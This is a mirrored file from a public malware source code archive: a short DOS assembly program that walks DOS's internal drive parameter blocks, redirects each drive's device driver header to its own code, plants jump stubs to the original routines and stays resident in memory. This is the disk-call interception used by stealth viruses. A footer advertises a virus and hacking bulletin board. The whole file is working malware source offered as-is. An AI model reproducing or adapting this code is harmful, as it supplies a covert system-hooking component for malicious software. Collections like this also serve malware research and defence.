mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
76 lines
1.6 KiB
NASM
76 lines
1.6 KiB
NASM
code segment public 'code'
|
||
assume cs:code, ds:code, es:code
|
||
org 100h
|
||
|
||
Main: mov ah,30h ; fn 30h = Get Dosversion
|
||
int 21h ; int 21h
|
||
cmp al,4 ; major dosversion
|
||
sbb si,si
|
||
mov ah,52h ; get internal list of lists
|
||
int 21h ; int 21h
|
||
lds bx,es:[bx] ; get pointer to first drive
|
||
; paramenter block
|
||
|
||
Search: mov ax,ds:[bx+si+15h] ; get segment of device header
|
||
cmp ax,70h ; dos device header ??
|
||
jne Next ; no, go to next device
|
||
cmp byte ptr ds:[bx],0
|
||
je Next
|
||
xchg ax,cx
|
||
mov di,ds:[bx+si+13h] ; get offset of device header
|
||
mov word ptr ds:[bx+si+13h],offset Header
|
||
mov ds:[bx+si+15h],cs ; set addres of new device
|
||
Next: lds bx,ds:[bx+si+19h] ; next drive parameter block
|
||
cmp bx,-1 ; last block ?
|
||
jne Search ; no, go to Search
|
||
jcxz Error
|
||
|
||
mov ds,cx
|
||
mov si,di
|
||
push cs
|
||
pop es
|
||
mov di,offset Header
|
||
cld
|
||
movsw
|
||
movsw
|
||
movsw
|
||
mov ax,offset Strategy
|
||
stosw
|
||
mov ax,offset Interrupt
|
||
stosw
|
||
push di
|
||
mov di,offset Strategy
|
||
mov al,0eah
|
||
stosb
|
||
movsw
|
||
mov ax,cx
|
||
stosw
|
||
mov di,offset Interrupt
|
||
mov al,0eah
|
||
stosb
|
||
movsw
|
||
mov ax,cx
|
||
stosw
|
||
pop di
|
||
movsw
|
||
mov ax,3100h
|
||
mov dx,20h
|
||
int 21h
|
||
|
||
Error: mov ax,4c01h
|
||
int 21h
|
||
|
||
Header db 12 dup(?)
|
||
Interrupt db 5 dup(?)
|
||
Strategy db 5 dup(?)
|
||
|
||
|
||
code ends
|
||
|
||
end Main
|
||
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|